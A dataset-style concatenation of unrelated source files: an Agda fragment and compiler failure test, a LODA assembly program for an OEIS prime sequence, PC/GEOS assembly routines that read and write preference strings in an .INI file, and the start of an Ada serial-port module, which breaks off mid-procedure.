-- do
-- τ ← inferType hole
-- _ , _ , l , r ← ≡-type-info τ
-- unify hole ((def (quote cong) (vArg (patch (l ⊓ r)) ∷ vArg p ∷ [])))
|
oeis/269/A269788.asm | neoneye/loda-programs | 11 | 245862 | ; A269788: Primes p such that 2*p + 47 is a square.
; Submitted by <NAME>
; 17,37,61,89,157,197,241,397,457,521,661,1277,1381,1489,1601,2089,2221,2357,2789,3257,3761,4877,5077,5281,5701,6361,7057,7297,7541,7789,8297,8821,10781,11681,12301,13921,15289,15641,17837,18217,19381,19777,20177,21401
mov $1,10
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,6
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
sub $1,2
mov $6,$5
lpe
mov $0,$5
add $0,1
|
Library/Config/Pref/prefInitFile.asm | steakknife/pcgeos | 504 | 172337 | <filename>Library/Config/Pref/prefInitFile.asm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: prefInitFile.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
DESCRIPTION:
Routines for dealing with that wacky init file.
$Id: prefInitFile.asm,v 1.1 97/04/04 17:50:18 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringListSaveOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: "SAVE OPTIONS" -- if we're using strings or monikers.
CALLED BY: PrefItemGroupSaveOptions
PASS: *ds:si - PrefItemGroup
ds:di - PrefItemGroup instance data
ss:bx - GenOptionsParams
RETURN: nothing
DESTROYED: ax,bx,cx,dx,es,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/30/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringListSaveOptions proc far
class PrefItemGroupClass
mov bx, bp
locals local PrefItemGroupStringVars
.enter
DBCS < test ds:[di].PIGI_initFileFlags, mask PIFF_NUMERIC_MONIKERS >
DBCS < jnz numericMonikers >
; null-initialize the buffer in case the key wasn't originally
; in the .INI file
SBCS < mov {char} locals.PIGSV_buffer, 0 >
DBCS < mov {wchar} locals.PIGSV_buffer, 0 >
lea ax, locals.PIGSV_buffer
mov locals.PIGSV_endPtr, ax
test ds:[di].PIGI_initFileFlags, mask PIFF_APPEND_TO_KEY
jz afterRead
; put string from init file into buffer -- this is for the
; case where there may be other things in the string than
; those we place there via this object.
push ds, es, si, di, bp, bx
mov cx, ss
mov ds, cx
mov es, cx
lea dx, ss:[bx].GOP_key
lea si, ss:[bx].GOP_category
lea di, locals.PIGSV_buffer
mov bp, size PIGSV_buffer
call InitFileReadString
EC < cmp cx, PREF_ITEM_GROUP_STRING_BUFFER_SIZE >
EC < ERROR_AE OVERRAN_STRING_ITEM_BUFFER >
pop ds, es, si, di, bp, bx
add locals.PIGSV_endPtr, cx ; # of bytes read
afterRead:
;
; copy the "extra" string section, if any
;
call StringListCheckExtraStringSection
;
; Figure out which callback routine to use
;
mov ax, offset PrefItemGroupSaveStringsCB
test ds:[di].PIGI_initFileFlags, mask PIFF_USE_ITEM_STRINGS
jnz callIt
mov ax, offset PrefItemGroupSaveMonikersCB
callIt:
call PrefItemGroupProcessChildren
; Now, write the string to the buffer
mov cx, ss
mov es, cx
mov ds, cx
lea si, ss:[bx].GOP_category
lea dx, ss:[bx].GOP_key
lea di, locals.PIGSV_buffer
call InitFileWriteString
DBCS <done: >
.leave
ret
if DBCS_PCGEOS
numericMonikers:
;
; get selection
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
push bp
call ObjCallInstanceNoLock ; ax = selection
pop bp
cmp ax, GIGS_NONE
je done
mov cx, ax ; cx = identifier
mov ax, MSG_GEN_ITEM_GROUP_GET_ITEM_OPTR
push bp
call ObjCallInstanceNoLock ; ^lcx:dx = item
pop bp
jnc done
push bp
mov bp, bx ; ss:bp = GenOptionsParams
movdw bxsi, cxdx
call ObjSwapLock ; *ds:si = item
;
; convert moniker to integer
;
mov si, ds:[si]
add si, ds:[si].Gen_offset
mov si, ds:[si].GI_visMoniker
tst si
jz donePop
mov si, ds:[si]
add si, offset VM_data+VMT_text ; ds:si = moniker
call UtilAsciiToHex32 ; dx:ax = value
jc donePop
tst dx
jnz donePop
call ObjSwapUnlock
;
; write integer to .ini file
;
mov cx, ss
mov es, cx
mov ds, cx
lea si, ss:[bp].GOP_category
lea dx, ss:[bp].GOP_key
mov bp, ax ; bp = value
call InitFileWriteInteger
donePop:
pop bp
jmp short done
endif
StringListSaveOptions endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringListCheckExtraStringSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if there's an
ATTR_PREF_ITEM_GROUP_EXTRA_STRING_SECTION to be dealt with
CALLED BY: StringListSaveOptions
PASS: *ds:si - PrefItemGroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 12/16/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringListCheckExtraStringSection proc near
uses ax,bx
.enter inherit StringListSaveOptions
mov ax, ATTR_PREF_ITEM_GROUP_EXTRA_STRING_SECTION
call ObjVarFindData ; ds:bx - extra string
jnc done
call CopyStringToBuffer
done:
.leave
ret
StringListCheckExtraStringSection endp
COMMENT @----------------------------------------------------------------------
MESSAGE: StringListLoadOptions
DESCRIPTION: Load options from .ini file
PASS:
*ds:si - instance data
ss:bp - GenOptionsParams
RETURN: nothing
DESTROYED: ax,bx,cx,dx,si,di,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/30/92 Initial version
------------------------------------------------------------------------------@
StringListLoadOptions proc near
class PrefItemGroupClass
locals local PrefItemGroupStringVars
mov bx, bp ; GenOptionsParams
.enter
if DBCS_PCGEOS
mov di, ds:[si]
add di, ds:[di].Pref_offset
test ds:[di].PIGI_initFileFlags, mask PIFF_NUMERIC_MONIKERS
jnz numericMonikers
endif
; Read the init file string into the buffer
push bx, bp, ds, si ; item group
mov cx, ss
mov es, cx
mov ds, cx
lea si, ds:[bx].GOP_category
lea dx, ds:[bx].GOP_key
lea di, locals.PIGSV_buffer
mov bp, PREF_ITEM_GROUP_STRING_BUFFER_SIZE
call InitFileReadString
pop bx, bp, ds, si ; item group
jc checkQuery
DBCS <haveBuffer: >
mov di, ds:[si]
add di, ds:[di].Pref_offset
test ds:[di].PIGI_initFileFlags, mask PIFF_USE_ITEM_STRINGS
jnz useStrings
mov ax, offset StringListLoadMonikersCB
jmp callIt
useStrings:
mov ax, offset StringListLoadStringsCB
callIt:
call PrefItemGroupProcessChildren
; Set selections
mov cx, ss
lea dx, locals.PIGSV_selections
push bp
mov bp, locals.PIGSV_numSelections
mov ax, MSG_GEN_ITEM_GROUP_SET_MULTIPLE_SELECTIONS
call ObjCallInstanceNoLock
pop bp
done:
.leave
ret
checkQuery:
;
; Key not in ini file. If we have to query the children anyway, zero
; out the string buffer and go to the common code.
;
SBCS < mov {char}es:[di], 0 ; in case not in file >
DBCS < mov {wchar}es:[di], 0 ; in case not in file >
mov di, ds:[si]
add di, ds:[di].Pref_offset
test ds:[di].PIGI_initFileFlags,
mask PIFF_ABSENT_KEY_OVERRIDES_DEFAULTS
jz done
jmp useStrings
if DBCS_PCGEOS
numericMonikers:
;
; read integer
;
push ds, si ; item group
mov cx, ss
mov es, cx
mov ds, cx
lea si, ds:[bx].GOP_category
lea dx, ds:[bx].GOP_key
call InitFileReadInteger ; ax = value
pop ds, si ; item group
jc checkQuery
lea di, locals.PIGSV_buffer
clr dx
mov cx, mask UHTAF_NULL_TERMINATE
.assert (PREF_ITEM_GROUP_STRING_BUFFER_SIZE gt UHTA_NO_NULL_TERM_BUFFER_SIZE)
call UtilHex32ToAscii
jmp short haveBuffer
endif
StringListLoadOptions endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefItemGroupProcessChildren
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Process the children of a PrefItemGroup
CALLED BY: StringListLoadOptions, StringListSaveOptions
PASS: ax - callback routine
ss:bp - PrefItemGroupVars
*ds:si - PrefItemGroupClass object
RETURN: nothing
DESTROYED: bx,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/ 8/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefItemGroupProcessChildren proc near
class PrefItemGroupClass
uses bx
.enter inherit StringListSaveOptions
mov locals.PIGSV_numSelections, 0
clr di
push di, di
mov di, offset GI_link
push di
push cs
push ax ; callback
mov bx, offset Gen_offset
mov di, offset GI_comp
call ObjCompProcessChildren
.leave
ret
PrefItemGroupProcessChildren endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefItemGroupSaveStringsCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If this PrefStringItem object is selected, then add
its string to the buffer (if not already there). If
it's not selected, then remove it.
CALLED BY: StringListSaveOptions
PASS: *ds:si - PrefStringItem
*es:di - PrefItemGroup (parent)
ss:bp - PrefItemGroupStringVars
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefItemGroupSaveStringsCB proc far
class PrefStringItemClass
.enter inherit StringListSaveOptions
mov bx, ds:[si]
add bx, ds:[bx].Gen_offset
mov bx, ds:[bx].PSII_initFileString
tst bx
jz done
mov bx, ds:[bx]
call AddOrRemoveStringBasedOnSelection
done:
clc
.leave
ret
PrefItemGroupSaveStringsCB endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefItemGroupSaveMonikersCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: add the moniker for this item to the buffer if selected
CALLED BY: StringListSaveOptions
PASS: *ds:si - GenItem
*es:di - PrefItemGroup
ss:bp - local vars
RETURN: nothing
DESTROYED: ax,bx,cx,dx,si,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefItemGroupSaveMonikersCB proc far
class GenItemClass
.enter inherit StringListSaveOptions
mov bx, ds:[si]
add bx, ds:[bx].Gen_offset
mov bx, ds:[bx].GI_visMoniker
tst bx
jz done
mov bx, ds:[bx]
add bx, offset VM_data+VMT_text
call AddOrRemoveStringBasedOnSelection
done:
clc
.leave
ret
PrefItemGroupSaveMonikersCB endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfItemSelected
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determine if this GenItem is selected
CALLED BY: PrefItemGroupSaveStringsCB, PrefItemGroupSaveMonikersCB
PASS: *ds:si - item to check
*es:di - item group (parent)
RETURN: IF SELECTED -
carry flag set
ELSE
carry flag clear
DESTROYED: ax,bx,cx,dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckIfItemSelected proc near
uses bp,si,di
.enter
; Get identifier for this child -- fixup ES
mov ax, MSG_GEN_ITEM_GET_IDENTIFIER
call ObjCallInstanceNoLockES
; ask parent if child is selected
mov cx, ax ; item's identifier
segxchg ds, es
mov si, di
mov ax, MSG_GEN_ITEM_GROUP_IS_ITEM_SELECTED
call ObjCallInstanceNoLockES ; returns carry
segxchg ds, es
.leave
ret
CheckIfItemSelected endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringListLoadMonikersCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: see if the moniker for this item is in the buffer, and
if so, select the item.
CALLED BY: StringListLoadOptions
PASS: *ds:si - GenItem
ss:bp - PrefItemGroupStringVars
RETURN: carry clear (always)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringListLoadMonikersCB proc far
.enter inherit StringListLoadOptions
push bp
mov ax, MSG_GEN_GET_VIS_MONIKER
call ObjCallInstanceNoLock
pop bp
tst ax
jz done
mov bx, ax
mov bx, ds:[bx]
add bx, offset VM_data.VMT_text
call SelectItemIfStringInBuffer
done:
clc
.leave
ret
StringListLoadMonikersCB endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringListLoadStringsCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add this item to the selections if its string is in
the buffer.
CALLED BY: StringListLoadOptions
PASS: *ds:si - item to check
RETURN: carry clear (always)
DESTROYED: ax,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 2/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringListLoadStringsCB proc far
class PrefStringItemClass
.enter inherit StringListLoadOptions
EC < push es, di >
EC < segmov es, <segment PrefStringItemClass>, di >
EC < mov di, offset PrefStringItemClass >
EC < call ObjIsObjectInClass >
EC < pop es, di >
EC < ERROR_NC CHILD_MUST_BE_PREF_STRING_ITEM >
push bp
add bp, offset locals ; ss:bp <- vars
mov ax, MSG_PREF_STRING_ITEM_CHECK_IF_IN_INIT_FILE_KEY
call ObjCallInstanceNoLock
pop bp
jnc done
call SelectItem
done:
clc
.leave
ret
StringListLoadStringsCB endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SelectItemIfStringInBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the child's initFileString (or moniker) is in
the buffer. If so, add child's identifier to list of
selections.
CALLED BY:
PASS: *ds:si - GenItem
ds:bx - string to check in buffer
ss:bp - PrefItemGroupStringVars locals
RETURN: carry set (in buffer), clear if not
DESTROYED: ax,bx,cx,dx,di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/ 8/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SelectItemIfStringInBuffer proc near
.enter inherit StringListLoadOptions
EC < call ECCheckAsciiStringDSBX >
call CheckStringInBuffer
jnc done
call SelectItem
done:
.leave
ret
SelectItemIfStringInBuffer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SelectItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up to select this item, please.
CALLED BY: (INTERNAL) SelectItemIfStringInBuffer,
StringListLoadStringsCB
PASS: *ds:si = GenItem
ss:bp = inherited stack frame
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SelectItem proc near
.enter inherit StringListLoadOptions
push bp
mov ax, MSG_GEN_ITEM_GET_IDENTIFIER
call ObjCallInstanceNoLock
pop bp
mov di, locals.PIGSV_numSelections
shl di
mov locals.PIGSV_selections[di], ax
shr di
inc di
EC < cmp di, PREF_ITEM_GROUP_MAX_SELECTIONS >
EC < ERROR_GE TOO_MANY_SELECTIONS >
mov locals.PIGSV_numSelections, di
.leave
ret
SelectItem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddOrRemoveStringBasedOnSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add or remove the string to/from the buffer, based on
the selection of the object
CALLED BY:
PASS: *ds:si - object
*es:di - object's parent
ds:bx - string
ss:bp - local vars
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cdb 6/19/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddOrRemoveStringBasedOnSelection proc near
.enter inherit StringListSaveOptions
EC < call ECCheckAsciiStringDSBX >
call CheckIfItemSelected
jnc removeString
call CopyStringToBuffer
jmp done
removeString:
call RemoveStringFromBuffer
done:
.leave
ret
AddOrRemoveStringBasedOnSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckStringInBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the passed string is in the buffer. Make sure
the match is exact.
CALLED BY:
PASS: ds:bx - string to search for
ss:bp - local vars
RETURN: cx - length of search string (not including NULL)
IF STRING IN BUFFER:
ss:dx - address of string
carry set
ELSE
carry clear
DESTROYED: ax,bx
PSEUDO CODE/STRATEGY:
Get length of search string (CX)
While (not at end of buffer) {
compare (CX) chars of search string with buffer
If equal:
IF next character in buffer is CTRL_M, or NULL
Exit, string found
Go to next line in buffer
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 5/ 4/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckStringInBuffer proc near
uses ds,es,si,di
.enter inherit StringListSaveOptions
segmov es, ds, di
mov di, bx ; es:di - string to find
clr dx ; current buffer position
; get length of search string in CX (not including NULL)
call LocalStringLength ; cx = length w/o null
push cx ; save length - return to caller
; Make DS:SI point to start of buffer
segmov ds, ss, si
lea si, locals.PIGSV_buffer
startLoop:
; First, check if buffer is empty (or at end of buffer)
SBCS < cmp {char} ds:[si], 0 >
DBCS < cmp {wchar} ds:[si], 0 >
je noMatch
mov dx, si ; save current string addr in
; case we find a match
push cx, di
SBCS < repe cmpsb >
DBCS < repe cmpsw >
pop cx, di
jne gotoNextLineInBuffer
; Possible match, if current character in buffer is NULL or
; CR.
LocalGetChar ax, dssi
LocalIsNull ax
jz match
SBCS < LocalCmpChar ax, VC_CTRL_M >
DBCS < LocalCmpChar ax, C_CARRIAGE_RETURN >
je match
; Now, skip chars until LF or NULL
gotoNextLineInBuffer:
LocalGetChar ax, dssi
LocalIsNull ax
jz noMatch
SBCS < LocalCmpChar ax, VC_LF >
DBCS < LocalCmpChar ax, C_LINE_FEED >
je startLoop
jmp gotoNextLineInBuffer
match:
stc
jmp done
noMatch:
clc
done:
pop cx ; length of search string
.leave
ret
CheckStringInBuffer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyStringToBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the source string onto the stack buffer
CALLED BY:
PASS: ds:bx - string
ss:bp - local vars
RETURN: nothing
DESTROYED: es,cx,di,ax
PSEUDO CODE/STRATEGY:
if (endPtr - PIGSV_buffer > 0)
add newline
endif
stick string in buffer, null term.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/ 8/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyStringToBuffer proc near
uses si, es, di, cx, ax
.enter inherit StringListSaveOptions
; String might already be there!
call CheckStringInBuffer
jc done
mov si, bx
EC < call ECCheckAsciiString >
; See if we're at the start of the buffer, in which case,
; don't insert a CR/LF pair
segmov es, ss
lea bx, locals.PIGSV_buffer
mov di, locals.PIGSV_endPtr
cmp di, bx
je startLoop
DBCS < LocalLoadChar ax, C_CARRIAGE_RETURN >
DBCS < LocalPutChar esdi, ax >
DBCS < LocalLoadChar ax, C_LINE_FEED >
DBCS < LocalPutChar esdi, ax >
SBCS < mov ax, CRLF >
SBCS < stosw >
; Copy string until null char found.
startLoop:
LocalCopyString
; make di point to last char copied so subsequent copies will
; overwrite null-term.
LocalPrevChar esdi
; Store the new current offset
mov locals.PIGSV_endPtr, di
if ERROR_CHECK
lea ax, locals.PIGSV_buffer
sub di, ax
cmp di, PREF_ITEM_GROUP_STRING_BUFFER_SIZE
ERROR_AE OVERRAN_STRING_ITEM_BUFFER
endif
done:
.leave
ret
CopyStringToBuffer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RemoveStringFromBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove the passed string from the stack buffer
CALLED BY: PrefString
PASS: ds:bx - string
ss:bp - inherited local vars
RETURN: nothing
DESTROYED: ax,bx,cx,dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cdb 6/19/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RemoveStringFromBuffer proc near
uses ds,es,si,di
.enter inherit StringListSaveOptions
EC < call ECCheckAsciiStringDSBX >
call CheckStringInBuffer
jnc done ; that was easy!
; cx - length of string to remove
; ss:dx - address of string to remove
; If string is at end of buffer, then we just stick a NULL at
; the beginning of the string
mov si, ss
mov ds, si
mov es, si
mov di, dx ; es:di - string to nuke
DBCS < shl cx, 1 ; # chars -> # bytes >
add di, cx
SBCS < cmp {char} es:[di], 0 >
DBCS < cmp {wchar} es:[di], 0 >
je endOfBuffer
if DBCS_PCGEOS
EC < cmp {word} es:[di], C_CARRIAGE_RETURN >
EC < ERROR_NE ILLEGAL_CHARS_IN_BUFFER >
EC < cmp {word} es:[di][2], C_LINE_FEED >
EC < ERROR_NE ILLEGAL_CHARS_IN_BUFFER >
else
EC < cmp {word} es:[di], CRLF >
EC < ERROR_NE ILLEGAL_CHARS_IN_BUFFER >
endif
LocalNextChar esdi
LocalNextChar esdi
; SS:DI - first character AFTER string
; SS:DX - beginning of string
; subtract "endPtr" by length of string
mov si, locals.PIGSV_endPtr
sub locals.PIGSV_endPtr, cx ; (cx = # bytes from above)
; The # chars to move is (endPtr - start +1)
mov cx, si
sub cx, di
DBCS < shr cx, 1 ; # bytes -> # chars >
inc cx
EC < cmp cx, PREF_ITEM_GROUP_STRING_BUFFER_SIZE >
EC < ERROR_AE OVERRAN_STRING_ITEM_BUFFER >
mov si, di
mov di, dx
LocalCopyNString ; mov'em
done:
.leave
ret
endOfBuffer:
mov di, dx ; start of string
; If string is beginning of buffer, then just store a zero at
; the pointer address otherwise nuke the preceding CR/LF pair
; as well
lea bx, locals.PIGSV_buffer
cmp di, bx
je gotAddr
LocalPrevChar esdi
LocalPrevChar esdi
gotAddr:
SBCS < mov {char}es:[di], 0 >
DBCS < mov {wchar}es:[di], 0 >
mov locals.PIGSV_endPtr, di
jmp done
RemoveStringFromBuffer endp
|
test/Fail/Issue2291-instance.agda | shlevy/agda | 1,989 | 4986 | <filename>test/Fail/Issue2291-instance.agda
-- Andreas, 2016-11-03, issue #2291 reported by Aerate
test = let {{_}} = _ in _
-- WAS: Internal error
-- NOW: Could not parse the left-hand side {{_}}
|
Src/serial.adb | SMerrony/dashera | 23 | 14157 | <reponame>SMerrony/dashera
-- Copyright ©2022 <NAME>
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-- THE SOFTWARE.
-- Note the serial break does not seem to be provided by GNAT.Serial_Communications
-- It is claimed that...
--
-- Sending break can be achieved by:
--
-- * lowering the bit-rate
-- * sending 0x00 which will seem as break.
-- * change bit-rate back.
--
-- During the break, it won't be possible to receive data since the bit-rate is not correct.
with Ada.Exceptions; use Ada.Exceptions;
with Ada.IO_Exceptions;
with Ada.Streams; use Ada.Streams;
with Logging; use Logging;
with Redirector;
package body Serial is
procedure Open (Port_Str : in String;
Rate : in Data_Rate;
Bits : in Data_Bits;
Parity : in Parity_Check;
Stop_Bits : in Stop_Bits_Number) is
begin
GNAT.Serial_Communications.Open (Port, Port_Name(Port_Str));
GNAT.Serial_Communications.Set (Port, Rate, Bits, Stop_Bits, Parity);
-- Save the user-specified settings so we can reset after sending a Break
User_Rate := Rate;
User_Bits := Bits;
User_Parity := Parity;
User_Stop_Bits := Stop_Bits;
Log (DEBUG, "Serial port opened and set-up");
Port_US := To_Unbounded_String (Port_Str);
Receiver_Task := new Receiver;
Receiver_Task.Start;
Redirector.Router.Set_Destination (Redirector.Async);
Keyboard_Sender_Task := new Keyboard_Sender;
Keyboard_Sender_Task.Start;
Log (DEBUG, "Serial port open complete");
end Open;
procedure Close is
begin
Close (Port);
